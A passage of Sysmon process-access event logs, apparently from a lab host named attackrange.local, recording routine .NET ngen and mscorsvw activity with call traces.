12:01:49.760","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010F2E90B00}","TargetProcessId":"2432","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.760\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010F2E90B00}\r\nTargetProcessId: 2432\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.760","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010F2E90B00}","TargetProcessId":"2432","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010F2E90B00}\r\nTargetProcessId: 2432\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010F2E90B00}","TargetProcessId":"2432","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.822\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010C0ED0B00}\r\nTargetProcessId: 868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.822","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010C0ED0B00}","TargetProcessId":"868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010C0ED0B00}\r\nTargetProcessId: 868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010C0ED0B00}","TargetProcessId":"868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.838\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010C0ED0B00}\r\nTargetProcessId: 868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010C0ED0B00}","TargetProcessId":"868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.900\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010FCF10B00}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.900","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010FCF10B00}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010FCF10B00}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:49.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010FCF10B00}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:49.916\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010FCF10B00}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 